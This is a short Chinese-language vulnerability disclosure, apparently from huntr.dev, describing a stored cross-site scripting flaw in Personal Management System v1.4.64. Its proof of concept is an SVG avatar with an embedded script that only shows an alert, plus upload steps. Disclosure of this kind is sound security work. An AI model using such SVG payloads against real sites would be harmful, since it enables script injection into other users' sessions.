个人管理系统(Personal Management System)v1.4.64 中存在一个任意文件上传漏洞,攻击者可通过将精心构造的 SVG 文件上传到用户个人资料的头像中,从而执行任意代码。
[附加信息] 1.) 创建 alert.svg,内容如下:
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("huntr.dev");
</script>
</svg>
2.) 将 .SVG 托管在 Web 服务器上。
3.) 将 .SVG 作为头像图片上传。
4.) 当用户在新标签页中打开头像时,存储于 .SVG 文件中的 javascript 将被执行。